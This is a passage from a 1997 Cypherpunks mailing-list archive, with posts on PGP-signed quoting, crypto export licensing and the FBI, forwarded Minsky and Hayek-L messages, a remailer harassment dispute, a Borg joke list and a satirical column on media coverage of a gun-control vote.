experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 27 Nov 1997 06:11:50 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Global Strategic Structure - Speculative
In-Reply-To: <199711250420.WAA16286@einstein.ssz.com>
Message-ID: <v04002753b0a239e05ebb@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:20 pm -0500 on 11/24/97, Jim Choate wrote:



>   - a binary system is stable provided each individual party is stable.

Nit:
    - it is hypothesized that the reason that the US has a "binary",
two-"party" system is because of it's "winner-take-all" electoral system.
Proportional representation yields a multiplicity of "parties" up to some
multiple of the "party acceptance" threshold, as a percentage of the
electorate...

;-).

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: HpyMutant@aol.com
Date: Thu, 27 Nov 1997 05:45:05 +0800
To: cypherpunks@toad.com
Subject: mailing list
Message-ID: <971126162253_-2095209519@mrin86.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



uh...please put me on your mailing list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Thu, 27 Nov 1997 07:22:03 +0800
To: "CypherPunks List" <cypherpunks@Algebra.COM>
Subject: Re: Quoting Portions of a Signed Document
Message-ID: <199711262308.SAA17608@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 11/26/97 5:15 AM, Bill Stewart (stewarts@ix.netcom.com)  passed
this wisdom:

>But then Geiger brings out the other important point:
>>Then what does the sub signature really tell you? Yes you can 
>>verify that the quote was written by someone but it may be taken 
>>completely out of context. How about when several blocks of text 
>>from different messages are combined. Each individual block checks 
>>out but by combining them the text has a completely different 
>>meaning than the original document.  

  I haven't been follwing this thread that closely, but skimming mch
of it and then rereading this whole post, I must concur that the
context issue renders much of the discussion moot unless you can not
only relate individual sub-blocks to the whole message it came from in
the proper order ... it seems to me we are right back where we
started, quoting referenced message(s) in entirety.

  It occurrs to me that if an issue is important enough that the
veracity and autheticity of a given passage is that critical,
including entire messages is of trivial concern. Now it could be
handled by the discussion participant quoting out of context and
'footnoting' his quote with a message ID. The message corresponding to
that ID has its entire text is signed and publicly stored and
accessible. If it needs to be checked then go check it, if not take it
on faith and read on.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNHyqacdZgC62U/gIEQK1cwCeNcgPSOPbXkzORDzB2lZsspiVoHIAoM8z
MSxwS/JTthmm6T+mIzlqzcOn
=2vlT
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
   For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "Strange women lying in ponds distributing swords is no basis
   for a system of government."  -- author unknown






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Thu, 27 Nov 1997 11:38:05 +0800
To: cypherpunks@ssz.com
Subject: DaBORG
Message-ID: <NEDKKHLACLEKDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



I am James T. Kirk of Borg.  You will be assimil..... ated.
I am John-Boy of Borg.  G'night, Hugh! G'night, Lore! G'night, Data!
I am Kira of Borg.  Wanna make something out of it??!!!!
I am Kojak of Borg.  Who loves to assimilate ya, baby.
I am Ginsu of Borg.  You WILL be ASSIMILATED, but wait! That's not all!
I am Hamlet, prince of Borg!  Prepare to be...or not to be...
I am Haskell of Borg.  You resist well, Mrs. Cleaver.
I am Lancelot of Borg.  Resistance is feudal.
I am Lennon of Borg.  Imagine there's no assimilation...
I am Baez of Borg.  What if we gave an assimilation and nobody came?
I am Mr. Rogers of Borg.  Won't you be assimilated with me?
I am Barney of Borg.  Love is irrelevant, boys and girls...
I am Odo of Borg.  Look! Now I'm a Cylon.  No, now I'm a...
I am Opie of Borg.  Can I assimilate 'em, Pa?
I am Oprah of Borg. So, why did you assimilate your husband?
I am Quayle of Borg.  Speling is irelevante.
I am Ronald Reagan of Borg.  Prepare to be ... uh, I don't recall.
I am Rush Limbaugh of Borg.  That's a scary thought, eh?
I am Scooby of Borg.  Reware roo re arrimirated, Raggy!
I am Obi Wan of Borg.  The Force is with me, so killing me is futile.
I am Skywalker of Borg.  So, Ben, do we really want to assimilate Hoth?
I am Smiley Face of Borg.  Nice days are irrelevant.  [:-|
I am Smorgas of Borg.  You will be marinated.
I am Clinton of Borg.  You will not really be assimilated, exactly...
I am Janet Reno of Borg.  Resisters will be barbecued.  Waco is irrelevant.
I am Stephanopolous of Borg.  It's not assimilation, it's diversity...
I am Eastwood of Borg.  Do you feel lucky, Earthpunks?  Make my day.
I am Fonda of Borg.  After assimilation, you will have Buns of Steel.
I am Madonna of Borg.  Resistance turns me on.
I am Beavis of Borg.  Assimilation is cool, gonna score, heheheheheh...
I am Butt-head of Borg.  Scoring is irrelevant, asswipe!



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 27 Nov 1997 09:33:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: BXA denies my administrative appeal
Message-ID: <v0400277eb0a2703ed672@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: blacklodge.c2.net: majordom set sender to
owner-cryptography@c2.org using -f
Date: Tue, 25 Nov 1997 22:05:53 -0500
Comments: This message was remailed by a pseudonymous server.
 The operators have no way to determine the original sender.
 To contact the operator, write to <admin@anon.efga.org>.
From: Miles Vorkosigan <miles_w@anon.efga.org>
Subject: Re: BXA denies my administrative appeal
Sender: owner-cryptography@c2.net
To: undisclosed-recipients:;

In message <v03007800b09f865249e2@[172.17.1.150]>, Rick Smith writes:
>
> I recently spoke informally with a couple of sub-Cabinet level officials on
> crypto policy. Their comments indicated that the FBI et al are dominating
> internal meetings on the subject with the same polarizing rhetoric they're
> using in Congress. One official said that he was accused of intentionally
> aiding terrorists at one of these meetings.

During a recent application for crypto export approval, which should have
been routine, we were contacted by an individual from the *FBI* (not from
BXA) who refused our export license because we didn't have a key recovery
system *in place now*. This is despite the facts that:

- the export license was to use our strong cryptography products for
  communications between our international sales offices and head office;
  this used to be a rubber-stamp license, and

- we are in the process of implementing key recovery technology as part of a
  a seperate export approval for our DES-56 products.

I couldn't even get an answer as to why the FBI had jurisdiction over our
export approval.

--
Miles

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Thu, 27 Nov 1997 11:43:48 +0800
To: "Cypherpunks List" <cypherpunks@cyberpass.net>
Subject: (No Subject)
Message-ID: <DFIBLIDNKAFKDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:33 PM 11/26/97 -0500, Robert Hettinga wrote:
>In message <v03007800b09f865249e2@[172.17.1.150]>, Rick Smith writes:
>>
>> I recently spoke informally with a couple of sub-Cabinet level officials
on
>> crypto policy. Their comments indicated that the FBI et al are
dominating
>> internal meetings on the subject with the same polarizing rhetoric
they're
>> using in Congress. One official said that he was accused of
intentionally
>> aiding terrorists at one of these meetings.
>
>During a recent application for crypto export approval, which should have

>been routine, we were contacted by an individual from the *FBI* (not from
>BXA) who refused our export license because we didn't have a key recovery
>system *in place now*. This is despite the facts that:
>
>- the export license was to use our strong cryptography products for
>  communications between our international sales offices and head office;
>  this used to be a rubber-stamp license, and
>
>- we are in the process of implementing key recovery technology as part of a
>  a seperate export approval for our DES-56 products.
>
>I couldn't even get an answer as to why the FBI had jurisdiction over our
>export approval.

I guess the FBI has decided that it is going to be the secret police when
the time comes. (And I had been thinking it was going to be the ATF!) I
wonder if they could be egged into a turf war amongst themselves--if they
are fighting each other, they have less time and energy to fuck with us...



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 27 Nov 1997 09:37:44 +0800
To: cypherpunks@cyberpass.net
Subject: Minsky Manufactures Privacy...
Message-ID: <v0400278db0a273148101@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



Somewhere in the bowels of an active location transponder discussion on the
wearables list...

Cheers,
Bob Hettinga
--- begin forwarded text


X-Sender: minsky@mailhub.media.mit.edu
Mime-Version: 1.0
Date: Wed, 26 Nov 1997 14:29:19 -0500
To: wearables@media.mit.edu
From: Marvin Minsky <minsky@media.mit.edu>
Subject: Re: location vs. tracking

 "David P. Reed" <dpreed@reed.com> worries:

>[they can use active tracking of you] for various 'public benefits' (such as
antiterrorism, antipedophilia, anti-anti-gov't thinking, and monitoring any
personal, non-business interactions, among employees. )

Did you mean to include antiterrorism?

>There's always a plausible reason that can be used to override
>whatever privacy policies and safeguards are designed into such a system.

If the reasons really are plausible, then those overrides should be added
to the system design.

>It's sad that our public institutions now tend to view everyone as a
>potentially evil person...

Do you mean all public institutions?

Perhaps, instead, we should try to design tracking systems that include
public review mechanisms -- so that whenever anyone (e.g., your employer)
accesses your record against the privacy policy, they'll be subject to
legal sanctions and damages.

The issues of privacy are pretty complicated: for example, if someone has
been furtively following you, some future technology might permit you to
authorize someone you trust to find out who it is.  Ed Fredkin once asked a
number of people how they would feel about a new device with which you
could select almost anyone in the world, and make the device produce a loud
noise near them.  They all objected angrily.  Then Ed said, "It already
exists.  It's called the telephone."

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 27 Nov 1997 09:33:02 +0800
To: cypherpunks@cyberpass.net
Subject: Hayek Manufactures Freedom...
Message-ID: <v0400278fb0a27398a02f@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date:         Wed, 26 Nov 1997 13:18:41 -0500
Reply-To: Hayek Related Research <HAYEK-L@MAELSTROM.STJOHNS.EDU>
Sender: Hayek Related Research <HAYEK-L@MAELSTROM.STJOHNS.EDU>
From: Greg Ransom <Gregransom@AOL.COM>
Subject:      HAYEKWEB:  J Powel on _The Road to Serfdom_
To: HAYEK-L@MAELSTROM.STJOHNS.EDU

>>  Hayek on the Web  <<

"The Road to Serfdom- Inside story of a 50-year phenomenon"
(by Jim Powell, July 1994), on the Web at:

  http://www.lfb.org/fa7139.html

>From "The Road to Serfdom- Inside story of a 50-year phenomenon"
by Jim Powell:

"This year, much has been written about F.A. Hayek's enormously
influential classic, _The Road to Serfdom_. But until now, no one has
reported the inside story of how a few devoted friends of freedom
helped get the book published in America, despite overwhelming hostility
from publishers and the media.

"Friedrich A. Hayek's The Road to Serfdom," political science professor
 Herman Finer fumed in 1946, reflecting collectivist orthodoxy of the time,
"constitutes the most inopportune offensive against democracy to emerge
from a democratic country for many decades." No doubt about it, _The
Road to Serfdom_ was explosively controversial from the beginning,
especially his case that all forms of collectivism lead to tyranny. The book
was first published a half-century ago in Britain by Routledge, March 1944.
Nobel Prize winning economist Ronald Coase recalls that during Britain's
July 1945 parliamentary election campaign Winston Churchill cited Hayek
in his dramatic campaign speeches, to help show that a Labor Party win
would mean tyranny. Labor Party leader Clement Atlee ridiculed Hayek
and defeated Churchill. Soon afterwards, Atlee began seizing coal, steel,
railroads and other businesses ....

Opposition to Hayek's ideas was fierce in the United States, and a number
of publishers rejected the book. But there were friends of freedom who
worked wonders. Hayek authorized fellow Austrian economist Fritz Machlup,
 then working in Washington, to try to find an American publisher, but he
was unsuccessful. He gave a copy of the Routledge page proofs to
University of Chicago economics professor Aaron Director who met Hayek
in 1943 when both were teaching at the London School of Economics.
Director passed the page proofs to Frank Knight, founding father of the
"Chicago School." Knight apparently gave them to William T. Couch, a
classical liberal friend at the University of Chicago Press which agreed to
publish the book on September 18, 1944. But since nobody expected it
would sell many copies, the initial printing was only 2,000. It was a little
wartime edition about 4-7/8ths by 6-3/4 inches.

To help the book gain a hearing, the publishers asked John Chamberlain,
respected book editor for Harper's magazine and a devout libertarian, to
write a foreword. His name appeared prominently on the cover. The initial
reception was cool. On September 20, 1944, New York Times daily book
reviewer Orville Prescott called it a "sad and angry little book."

But then New York Times economics editorial writer Henry Hazlitt weighed
in with a home run:  a 1,500 word blockbuster review on the front page of
the Sunday New York Times Book Review, September 24, 1944. Hazlitt
declared that "Friedrich Hayek has written one of the most important books
of our generation." The University of Chicago Press ordered another
printing. The book sold 22,000 copies by year-end and sold this much
again by spring 1945.

Meanwhile, Reader's Digest editors DeWitt and Lila Acheson Wallace
expressed interest in publishing an excerpt from the book, and the
University of Chicago Press, eager to reach a popular audience, seems
to have given away those rights for nothing-Hayek later remarked
he never got a penny. In any case, The Road to Serfdom filled the first
20 pages of the April 1945 Reader's Digest under a banner headline drawn
 from Hazlitt's review: "One of the Most Important Books of Our Generation."
This brought Hayek's story to about 8 million people in the U.S. alone.
Subsequently, Book-of-the-Month Club distributed some 600,000 copies
of a condensed edition.

Sales records are incomplete, but there were a good many more printings
after that, and the book eventually sold at least 230,000 copies in the U.S.
Hayek went on a U.S. lecture tour, including prestigious places like Harvard
University, and he decided he rather liked being a lightning rod for freedom.

He expressed his views in popular publications like the Chicago Sun, Boston
Traveler and New York Times Magazine. He met many friends of freedom
with whom he was to collaborate in later years. Three dozen friends joined
him to found the international Mont Pelerin Society.
...

Today people around the world appreciate Hayek's profound truths
which seemed so shocking half-century ago. We at Laissez Faire
are proud to help distribute it in several dozen countries ...

Contents:
Introduction
1. The Abandoned Road
2. The Great Utopia
3. Individualism and Collectivism
4. The "Inevitability" of Planning
5. Planning and Democracy
6. Planning and the Rule of Law
7. Economic Control and Totalitarianism
8. Who, Whom?
9. Security and Freedom
10. Why the Worst Get on Top
11. The End of Truth
12. The Socialist Roots of Naziism
13. The Totalitarians in Our Midst
14. Material Conditions and Ideal Ends
15. The Prospects of International Order
16. Conclusion

 FA7139W The Road to Serfdom (paperback) 248p. $10.95"



Hayek on the Web is a regular feature of the Hayek-L list.


>>  END  <<

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 27 Nov 1997 09:36:54 +0800
To: cypherpunks@cyberpass.net
Subject: Laissez Faire Books - Hayek catalogue
Message-ID: <v04002791b0a273e7b2a5@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date:         Wed, 26 Nov 1997 14:09:27 -0500
Reply-To: Hayek Related Research <HAYEK-L@MAELSTROM.STJOHNS.EDU>
Sender: Hayek Related Research <HAYEK-L@MAELSTROM.STJOHNS.EDU>
From: Greg Ransom <Gregransom@AOL.COM>
Subject:      HAYEKWEB: Laissez Faire Books - Hayek catalogue
To: HAYEK-L@MAELSTROM.STJOHNS.EDU

>>  Hayek on the Web  <<

Laissez Faire Books -- Books by or about F. A. Hayek,
on the web at:

  http://www.lfb.org/hayek.html


>From the section 'F. A. Hayek':

"THE ROAD TO SERFDOM
by F.A. Hayek

The classic warning of the dangers of government interventionism, it
shows why state planning always undermines both political and
economic freedom. It had a tremendous influence in the years after
World War II.
 FA7139W The Road to Serfdom (paperback) 248p. $10.95


THE ESSENCE OF HAYEK
edited by Chiaki Nichiyama and Kurt Leube

How can a busy reader get a handle on such a prolific mind as that
of F.A. Hayek? Here is a selection of essays representing the full range
of his thought, drawn by two eminent Hayek scholars from the full body
of his published writings.
 FA0118W The Essence of Hayek (paperback) 419p. $22.95


THE ECONOMICS OF FRIEDRICH HAYEK
by G.R. Steele
(St. Martin's Press, 1993/revised 1996)

If one were to read only one book about Hayek, this should be it. Rather
than criticizing Hayek's work, Steele aims to present an account of Hayek's
work that is both comprehensive and concise. In this aim the author
succeeds most admirably -Karen I. Vaughn, Journal of Economic Literature
 FA7117W The Economics of F.A. Hayek (hardcover) 262p. $19.95


HAYEK AND AFTER
Hayekian Liberalism as a Research Programme
by Jeremy Shearmur

Shearmur, who worked with philosopher Karl Popper and now teaches
at the Australian National University, chronicles Hayek's amazing
intellectual journey. He excels at describing how Hayek's ideas evolved
over the years, talking about the striking transition from Hayek's early
writings to his later writings on legal issues, the conflicts between Hayek's
utilitarian views and his moral imperative for liberty, and he offers
insightful comments about how Hayek grew more conservative in some ways, more
libertarian in others.
 FA7060W Hayek and After (hardcover) 257p. Published at $65.00
LF PRICE ONLY $24.95


HAYEK ON HAYEK
edited by Stephen Kresge and Leif Wenar

Hayek himself tells the story of his long and controversial career through
previously unpublished autobiographical notes and interviews.
"The appeal of Hayek on Hayek, I readily admit, is all the gossip in it.
Of course, since much of it is old gossip, and about famous people, it
qualifies as history. But it is not the kind of history professors dole out
to their students."
-Timothy Virkkala, Liberty
 FA6072W Hayek on Hayek (hardcover) 187p. $27.50


HAYEK: CO-ORDINATION AND EVOLUTION
His Legacy in Philosophy, Politics, Economics and the History of Ideas
edited by Jack Birner and Rudy van Zijp

This book assesses Hayek's wondrous intellectual achievements.
Roger Garrison, Gerald O'Driscoll, Norman Barry, Jeremy Shearmur,
and a host of others examine and illuminate Hayek's views on why
bureaucrats cannot produce prosperity, why socialism suppresses liberty,
what drives business cycles, the dynamics of money, how social
institutions develop spontaneously, and a constitutional order to protect
privacy and liberty.
 FA5979W Hayek: Coordination and Evolution (hardcover) 372p. Published at
$65.00
LF PRICE ONLY $24.95


CONTENDING WITH HAYEK
edited by Christoph Frei and Robert Nef

Here a group of noted European and American scholars debate
F.A. Hayek's most important ideas about a free society. John Gray,
Hans- Hermann Hoppe, Anthony de Jasay and more focus
on Hayek's social, political and legal philosophy, sometimes taking
issue with each other on major questions as well as fine points.
 FA6342W Contending with Hayek (paperback) 228p. Published at $33.95
LF PRICE ONLY $24.95


THE IDEAS OF F.A. HAYEK
narrated by Brian Crowley

These audio tapes are probably the best introduction to the life
and thought of F.A. Hayek that we're likely to get our hands on.
The format for the tapes is a simple one: it is a two-part, two-hour
radio documentary on Hayek produced for the Canadian Broadcasting
Company. The narrator, Brian Crowley, introduces Hayek's life and
ideas, and provides the continuity for the tapes.
 FA5452W The Ideas of F.A. Hayek (2 audiotapes) 2 hrs. $21.95


HAYEK, FREEDOM'S PHILOSOPHER
written & produced by Eben Wilson

While there are many great books on liberty, video material is hard
to come by. This splendid three-part video series helps you better
understand and explain his ideas which are changing the world for the
 better.
 FA6326W Hayek, Freedom's Philosopher (VHS video) 110 min. $49.95



HAYEK, THE IRON CAGE OF LIBERTY
by Andrew Gamble

Why did classical liberalism lose its appeal just as it triumphed? How
did socialists convince large numbers of people that they were legitimate
heirs to the glorious liberal tradition? Why did socialists "win" the debate
about economic calculation? What was the link between socialism and
Nazism? Why, having dismissed Hayek decades ago, do some socialists
(they are still plenty lurking around) now turn to him as an idea man for the
makeover they dream about?

Gamble, a socialist professor of politics at the University of Sheffield,
aims to answer these and many others questions as he reviews Hayek's
 prolific career and help put it in historical context.  He's often annoying,

because he never concedes the catastrophe of socialism, but he does do
a good job of summarizing Hayek's views, he raises provocative issues,
and he provides a picture of a sophisticated adversary wrestling with
classical liberal ideas. In the process, he helps show how far we've come
and how much farther we have to go. If we are to win the intellectual debates
ahead, we must clearly understand what our adversaries are thinking.
 FA7381W Hayek, the Iron Cage of Liberty (paperback) 221p. $19.95"


Hayek on the Web is a regular feature of the Hayek-L list.



>>  END  <<

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Thu, 27 Nov 1997 05:05:22 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: NEW TRAVEL INFO -- Togo (fwd)
In-Reply-To: <199711261426.OAA02287@server.test.net>
Message-ID: <Pine.BSF.3.96.971126215102.25919A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



Who the hell cares about a Togo travel advisory? What's next? The Miami
weather forecast?

On Wed, 26 Nov 1997, Adam Back wrote:

> Hey Jim,
> 
> Were you thinking that we all might like to emigrate to Togo or or
> something?
> 
> Adam
> 
> > [Togo travel advisory]
> 
> 


-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Thu, 27 Nov 1997 06:35:35 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: The Databasix gang is now harrassing the bureau42 remailer
In-Reply-To: <sL2Rge8w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.96.971126164820.10311A-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Of all the people I would expect to come to my defense... :-)

On Wed, 26 Nov 1997, Dr.Dimitri Vulis KOTM wrote:

[assorted rants about Databasix and huge.cajones.com]
> now they're after on bureau42. For some reason Pomes slipped and cc'd me
> one his false complaints (even though he was ordered not to send me any more

I rather doubt that it was a "slip." It takes at least a little bit of
conscious effort to type in "dlv@bwalk.dm.com".

> e-mail). I ask everyone to
>  a) complain about Paul Pomes to Qualcomm, his employer

And this will have what effect, other than harassing him? If any of the
charges made about Pomes, Burnore, Bryan and friends are true this would be
an astoundingly bad idea. And if the charges aren't true, then we'd be
harassing someone who doesn't deserve to be harassed, which is also bad.

>  b) discuss what we can do to protect bureau42 from Databasix harrassment

Well, I tend to think I'm fairly harassment-proof, but I'm open to
suggestions...

dave

--

Today's pseudorandom quote:
"I have sworn to observe the constitution conscientiously; but what if
my conscience tells me not to observe it?" -- Otto von Bismarck

David E. Smith, P O Box 324, Cape Girardeau MO USA 63702
Keywords: SciFi bureau42 Wicca Pez Linux PGP single! ;-)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CNN <cnn@dev.null>
Date: Thu, 27 Nov 1997 13:05:30 +0800
To: Cindy Cohn <Cindy@mcglashan.com>
Subject: And the turkey you wrote in on...
In-Reply-To: <199710260417.VAA05536@gw.quake.net>
Message-ID: <347CF916.7DD@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



~	COOKING THE NEWS-TURKEY'S GOOSE
~	-------------------------------

[CANADIAN NUTLY NEWS: Bienfait, Saskatchewan] VIN SUPRYNOWICZ, A HUMOR
columnist known for his work for the Las Vegas Review-Journal and his
syndicated column, THE LIBERTARIAN, distributed via Mountain Media 
Syndications, had his journalascist colleagues and fellow reportwhores
rolling in the first-class aisles with a delightfully delicious
Dec. 3rd roasting, titled "All the News that Goes Our Way."

Suprynowicz, who managed to spell his unwieldy name right throughout
most of the column, wrote:
   "...in real life, how well do reporters ignore their own prejudices 
and preconceptions, when the populace starts moving en masse in the 
opposite direction from what the newshound and his social circle 
expected, predicted, or would prefer?"
...
  "Readers and viewers of the nation's most influential newspapers and
broadcasts could be forgiven if, this fall, they got the impression the
upcoming vote on Washington state's Initiative 676 was likely to be 
pretty darned important."

  "Placed on the ballot by those wishing to restrict firearms ownership
by potential victims (commonly called "gun control" advocates, though 
they never seem to call for any new "controls" on government snipers),
the measure would have mandated a statewide civilian gun-licensing 
system, trigger locks on guns (always useful when a woman is fumbling 
in her purse while being grabbed by a would-be rapist), and expensive,
mandatory government safety-training courses ... always useful in 
discouraging law-abiding racial minorities from legally carrying 
firearms."

  "Early polls showed the initiative leading, 60-to-30, with women 
favoring this new nest of red tape by an even more lopsided 80-20."

Vinegarous Vinnie prepared the targets of his barbed wit by basting
them in the juices of their own half-baked body of badly bloated
blathering which trumpeted their proclaimation of the importance 
and significance of the upcoming gun-battle.

  "With those numbers in hand, The New York Times ran an account of the
initiative on its front page Oct. 13, suggesting it would be a 
significant test of the strength of the nation's largest gun rights 
lobbying group, the National Rifle Association (NRA.)"

  "'For the gun lobby, there is no bigger battle in 1997,' wrote 
Timesman Timothy Egan."

  "Three days later, on Oct. 16, 'NBC Nightly News' anchorman Tom 
Brokaw covered the pending vote as a major watershed: 'Here in the 
state of Washington, the front lines have been drawn in the deadly 
battle over gun control. It started in the grass roots as anger 
exploded over the hundreds of children in this state killed or hurt 
by guns. It's now a full-blown political war.'"

Suprynowicz, ever ready to expose the naked truth which his peers
attempt to disguise by burying it in the glitteringly clothed
trappings of authority, pomposity and hi-tech grandstanding, shoots
holes (pardon the pun) in Broke-haw-haw's clever variation on,
"if it saves the life of a single (DRUG-DEALING, OLD ENOUGH TO
VOTE) child...", and stuffs the holes with facts, like:

  "As ever, the 'children' named in such statistics turn out to include
18-year-old drug dealers shooting each other in turf battles -- a fine
point Mr. Brokaw apparently didn't have time to explain."

Suprynowicz then turns up the heat by adding the word-logs of other
mainstream news sources to the fire.

  "In such lopsided media coverage, 'all that was missing was a slick 
TV graphic showing the NRA's coffin nailed shut,' L. Brent Bozell III 
and Tim Graham of the Northern Virginia-based Media Research Center 
wrote on the editorial page of the Nov. 21 Wall Street Journal."

  "'But something went wrong on the way to the funeral.' On election 
day 'A walloping 71 percent of Washington voters rejected the measure,'
Messrs. Bozell and Graham report."

Vinnie the Vamp sucks the blood out of the mainstream media's rosy
cheeks by pointing out how rapidly the vital juices flowed out of
the previously proclaimed 'Mother of all Gun Law Battles' once the
voters had poked it with their forks.

  "Suddenly, mysteriously, a story which editors and producers had been
gearing up to banner as a death blow to the hated NRA, "became an
afterthought on the networks the next day. ... ABC's morning and 
evening news shows gave the results only brief mention, simply stating
that the measure failed. ... The New York Times put the blame on the 
NRA's cash advantage and the gun controllers' poor strategy -- and 
buried the story on page A28."

The New York Times didn't go into any detail as to how the NRA had
managed to gain a "cash advantage" over a group of well established
opponents who had the financial support of the richest man in the
world.

Suprynowicz continues:

  "Where were the banner headlines, declaring 'Huge majority say "No 
more gun laws' in crucial test', Or 'Finally, Bill of Rights supporters
win one for the Gipper'?"

  "There were none."

Which rhymes with 'done'...
Which brings us back to the 'news-turkeys'...

  "These so-called "news" outfits have some serious soul-searching to
do when they can eagerly promote such a test vote as highly significant
so long as it appears to be going their way, but suddenly -- days later
-- shrug off the result as meaningless, when the voters' decision fails
to match their own pro-government, anti-freedom agenda.

Way to go, Vinnie. I'm sure that your mainstream pen-pals are
chuckling all the way to the bank as they spend their Thanksgiving
weekend gobbling up the rewards of providing the public with all
the news that's shit to stink.
Using their own words to expose the 'before and after' reality of
the mainstream media's shallow lack of journalistic integrity brings
new meaning to the words, "self-basting turkey."

It's nice to know that there are still a few flesh-eaters left in the
field of journalism who recognize the that cannibalism is just as
anarchistically proper as cross-species carnivorism. (And that the 
flesh of the Nutless News mainstream media tastes good to readers who
are tired of being fed the same old spoon-fed crap.)

		---------		--------

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The
column is syndicated in the United States and Canada via Mountain Media
Syndications, P.O. Box 4422, Las Vegas Nev. 89127.

***

Vin Suprynowicz,   vin@lvrj.com

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in 
peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand
that feeds you. May your chains set lightly upon you; and may posterity
forget that ye were our countrymen."    -- Samuel Adams





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 27 Nov 1997 14:04:05 +0800
To: cypherpunks@toad.com
Subject: Re: Further costs of war (fwd)
In-Reply-To: <199711240521.XAA10697@einstein.ssz.com>
Message-ID: <Vq7sge13w165w@bwalk.dm.com>
MIME-Version: 1.0
